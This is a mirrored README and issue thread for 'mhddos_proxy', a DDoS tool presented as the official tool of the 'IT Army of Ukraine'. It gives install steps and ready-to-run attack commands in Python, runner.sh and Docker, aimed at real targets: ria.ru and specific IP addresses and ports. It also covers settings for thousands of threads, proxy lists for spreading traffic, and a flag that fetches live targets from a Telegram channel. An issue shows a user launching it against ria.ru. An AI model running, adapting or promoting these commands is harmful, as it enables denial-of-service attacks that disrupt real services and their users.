Code Monkey home page Code Monkey logo

mhddos's Introduction

IT Army of Ukraine Official Tool

Облачні технології

Для швидкого розвернення, використовуйте Heroku Deploy

  • Вбудована база проксі з величезною кількістю IP по всьому світу
  • Можливість задавати багато цілей з автоматичним балансуванням навантаження
  • Безліч різноманітних методів
  • Ефективне використання ресурсів завдяки асихронній архітектурі

⏱ Останні оновлення

Оновлення версії для Windows | Mac | Linux | Android | Docker: https://telegra.ph/Onovlennya-mhddos-proxy-04-16

  • 24.05.2022 Додано можливість запуску з автоматичним оновленням - див. пункт Запуск
  • 21.05.2022 Додано англійську локалізацію - параметр --lang EN (в майбутньому можуть бути додані інші мови)
  • 18.05.2022 Додано налаштування --copies для запуску декількох копій (рекомендовано до використання при наявності 4+ CPU та мережі > 100 Mb/s).
  • 15.05.2022 Повністю оновлена, асинхронна версія, що забезпечує максимальну ефективність та мінімальне навантаження на систему

1. 💽 Встановлення

Розширені інструкції - натисніть тут

Python (якщо не працює - спробуйте python або python3.10 замість python3)

Потребує python >= 3.8 та git

git clone https://github.com/porthole-ascend-cinnamon/mhddos_proxy.git
cd mhddos_proxy
python3 -m pip install -r requirements.txt

Docker

Встановіть і запустіть Docker: https://docs.docker.com/desktop/#download-and-install

2. 🕹 Запуск (наведено різні варіанти цілей)

Python з автоматичним оновленням (якщо не працює - спробуйте python або python3.10 замість python3)

./runner.sh python3 https://ria.ru 5.188.56.124:80 tcp://194.54.14.131:4477

Python (потребує оновлення вручну) (якщо не працює - спробуйте python або python3.10 замість python3)

python3 runner.py https://ria.ru 5.188.56.124:80 tcp://194.54.14.131:4477

Docker (для Linux додавайте sudo на початку команди)

docker run -it --rm --pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy https://ria.ru 5.188.56.124:80 tcp://194.54.14.131:4477

3. 🛠 Налаштування (більше у розділі CLI)

Усі параметри можна комбінувати, можна вказувати і до і після переліку цілей

  • Щоб переглянути інформацію про хід роботи, додайте параметр --debug для тексту, --table для таблиці
  • Щоб додати ваш IP/VPN до атаки (особливо актуально для виділених серверів), додайте параметр --vpn
  • Щоб обрати цілі від https://t.me/itarmyofukraine2022, додайте параметр --itarmy
  • Кількість потоків: -t XXXX - за замовчуванням 7500 (або 1000 якщо на машині лише 1 CPU)
  • Запуск декількох копій: --copies X, при наявності 4+ CPU та мережі > 100 Mb/s

4. 📌 Допомогти в пошуку нових проксі для mhddos_proxy

Сам скрипт та інструкції по встановленню тут: https://github.com/porthole-ascend-cinnamon/proxy_finder

5. 🐳 Комьюніті

6. CLI

usage: runner.py target [target ...]
                 [-t THREADS] 
                 [-c URL]
                 [--table]
                 [--debug]
                 [--vpn]
                 [--http-methods METHOD [METHOD ...]]
                 [--itarmy]
                 [--copies COPIES]

positional arguments:
  targets                List of targets, separated by space

optional arguments:
  -h, --help             show this help message and exit
  -c, --config URL|path  URL or local path to file with targets list
  -t, --threads 7500     Number of threads (default is 7500 if CPU > 1, 1000 otherwise)
  --table / --debug      Print log as table / as text
  --vpn                  Use both my IP and proxies. Optionally, specify a percent of using my IP (default is 10%)
  --proxies URL|path     URL or local path(ex. proxies.txt) to file with proxies to use
  --http-methods GET     List of HTTP(L7) methods to use (default is GET + POST|STRESS).
  --itarmy               Attack targets from https://t.me/itarmyofukraine2022  
  --copies 1             Number of copies to run (default is 1)
  --lang {en,ua}         Select language (default is ua)

7. Власні проксі

Формат файлу (будь який на вибір):

IP:PORT
IP:PORT:username:password
username:password@IP:PORT
protocol://IP:PORT
protocol://IP:PORT:username:password
protocol://username:password@IP:PORT

де protocol може бути одним з 3-ох: http|socks4|socks5, якщо protocolне вказувати, то буде обрано http
наприклад для публічного проксі socks4 формат буде таким:

socks4://114.231.123.38:3065

а для приватного socks4 формат може бути одним з таких:

socks4://114.231.123.38:3065:username:password
socks4://username:[email protected]:3065

URL - Віддалений файл для Python та Docker

--proxies https://pastebin.com/raw/UkFWzLOt

де https://pastebin.com/raw/UkFWzLOt - ваша веб-сторінка зі списком проксі (кожен проксі з нового рядка)

path - Шлях до локального файлу, для Python

Покладіть файл у папку з runner.py і додайте до команди наступний параметр (замініть proxies.txt на ім'я свого файлу)

--proxies proxies.txt https://ria.ru

де proxies.txt - ваша ваш файл зі списком проксі (кожен проксі з нового рядка)

mhddos's People

Contributors

porthole-ascend-cinnamon avatar grapesofwrath1984 avatar oleksandrblack avatar rxflex avatar alexneo2003 avatar kobzar-darmogray avatar dannysilence avatar iamtodor avatar

Stargazers

 avatar  avatar

mhddos's Issues

Чи є можливість вказати власні цілі?

Привіт!
Чи є можливість вказувати власні цілі?

$ docker run -it --rm --pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy https://ria.ru
latest: Pulling from porthole-ascend-cinnamon/mhddos_proxy
Digest: sha256:2b9b1403e9aa0594d3211650d2e6215440af10ce7693715d8601cf7b63a9b61b
Status: Image is up to date for ghcr.io/porthole-ascend-cinnamon/mhddos_proxy:latest
usage: mhddos_proxy_linux [-h] [--lang {ua,en,es,de,pl,lt}] [-t THREADS] [--copies COPIES] [--vpn] [--proxies URL|path] [--proxy [PROXY ...]] [--no-updates] [--config URL|path] [--vpn-percents VPN_PERCENTS] [--scheduler-initial-capacity SCHEDULER_INITIAL_CAPACITY] [--scheduler-fork-scale SCHEDULER_FORK_SCALE] [--bind [BIND ...]] [--itarmy]
                          [--requests-per-connection REQUESTS_PER_CONNECTION]
mhddos_proxy_linux: error: unrecognized arguments: https://ria.ru

З конфігом

# docker run -it --rm -v /root/targets:/tmp/targets ghcr.io/porthole-ascend-cinnamon/mhddos_proxy --config /tmp/targets

    ╦╔╦╗  ╔═╗╦═╗╔╦╗╦ ╦  ╔═╗╔═╗  ╦ ╦╔═╗
    ║ ║   ╠═╣╠╦╝║║║╚╦╝  ║ ║╠╣   ║ ║╠═╣
    ╩ ╩   ╩ ╩╩╚═╩ ╩ ╩   ╚═╝╚    ╚═╝╩ ╩

Уся інформація - https://github.com/porthole-ascend-cinnamon/mhddos_proxy_releases

[08:45:14 - INFO] Запущена остання версія - v60
[08:45:16 - INFO] Запускаємо атаку...

Bad input
[08:45:21 - ERROR] Targets loading failed

Завершуємо роботу...

файл

# cat targets
https://ria.ru

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.